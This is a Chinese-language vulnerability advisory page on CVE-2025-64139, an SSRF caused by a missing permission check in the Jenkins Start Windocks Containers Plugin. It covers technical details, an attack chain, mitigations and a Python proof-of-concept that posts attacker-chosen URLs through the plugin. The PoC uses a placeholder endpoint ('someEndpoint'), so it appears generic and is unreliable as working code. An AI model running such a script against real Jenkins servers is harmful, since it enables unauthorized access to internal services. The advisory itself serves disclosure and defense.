IPBUF安全漏洞报告
English
CVE-2025-64139 CVSS 4.3 中危

CVE-2025-64139 Jenkins Start Windocks Containers Plugin权限绕过漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-64139
漏洞类型
缺少权限检查
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jenkins Start Windocks Containers Plugin

相关标签

CVE-2025-64139Jenkins权限绕过SSRF缺少权限检查Start Windocks Containers PluginSECURITY-3531

漏洞概述

CVE-2025-64139是Jenkins Start Windocks Containers Plugin中的一个安全漏洞。该插件1.4及更早版本存在缺少权限检查的问题,允许具有Overall/Read权限的攻击者连接到攻击者指定的URL。攻击者可以利用此漏洞通过Jenkins服务器发起SSRF(服务器端请求伪造)攻击,访问内部服务或获取敏感信息。由于该插件在执行网络请求前未正确验证用户权限,攻击者只需具备基本的读取权限即可利用此漏洞。此漏洞的CVSS评分为4.3,属于中等严重程度。攻击向量为网络,认证要求较低,无需用户交互即可实施攻击。该漏洞由Jenkins安全团队发现并披露,编号为SECURITY-3531。

技术细节

该漏洞存在于Jenkins Start Windocks Containers Plugin 1.4及更早版本中。问题根源在于插件在处理HTTP请求时缺少适当的权限验证机制。当插件接收到用户输入的URL参数时,未正确检查调用者是否具有执行该操作的权限。攻击者只需具备Overall/Read权限(这是Jenkins的最低权限级别),即可触发插件向任意指定URL发送HTTP请求。这种缺少权限检查的缺陷使得攻击者可以将Jenkins服务器作为跳板,发起针对内部网络服务的请求。由于Jenkins通常具有较高的网络访问权限,攻击者可能利用此漏洞探测内部服务、访问受限资源或进行进一步的攻击。修复版本需要添加适当的权限检查,确保只有具有适当权限的用户才能指定连接的目标URL。

攻击链分析

STEP 1
步骤1
攻击者获取Jenkins账户,需要具备Overall/Read权限
STEP 2
步骤2
攻击者构造恶意请求,指定攻击者控制的URL或内部服务地址
STEP 3
步骤3
通过插件缺少权限检查的接口发送请求,触发服务器端请求伪造
STEP 4
步骤4
Jenkins服务器向攻击者指定的URL发起HTTP请求
STEP 5
步骤5
攻击者获取响应数据,可能包括内部服务信息或敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64139 PoC - Jenkins Start Windocks Containers Plugin SSRF # Requires Overall/Read permission import requests import urllib3 urllib3.disable_warnings() JENKINS_URL = "http://target-jenkins-server:8080" CRUMB_URL = f"{JENKINS_URL}/crumbIssuer/api/json" def get_crumb(session): """Get Jenkins CSRF crumb""" response = session.get(CRUMB_URL) if response.status_code == 200: return response.json() return None def exploit_ssrf(target_url): """Exploit missing permission check to connect to arbitrary URL""" session = requests.Session() session.auth = ('attacker_username', 'attacker_password') crumb = get_crumb(session) if not crumb: print("[-] Failed to get CSRF crumb") return False headers = { crumb['crumbRequestField']: crumb['crumb'] } exploit_url = f"{JENKINS_URL}/plugin/startWindocksContainers/someEndpoint" data = { 'url': target_url, 'containerName': 'test_container' } response = session.post(exploit_url, data=data, headers=headers, verify=False) if response.status_code in [200, 201]: print(f"[+] Successfully triggered request to: {target_url}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} http://internal-service:8080/admin") sys.exit(1) target = sys.argv[1] exploit_ssrf(target)

影响范围

Jenkins Start Windocks Containers Plugin <= 1.4

防御指南

临时缓解措施
在官方修复发布前,可通过以下方式临时缓解:1) 限制Overall/Read权限的分配范围;2) 使用Jenkins的安全矩阵控制用户权限;3) 监控插件相关接口的访问日志;4) 在网络层限制Jenkins服务器的出站连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表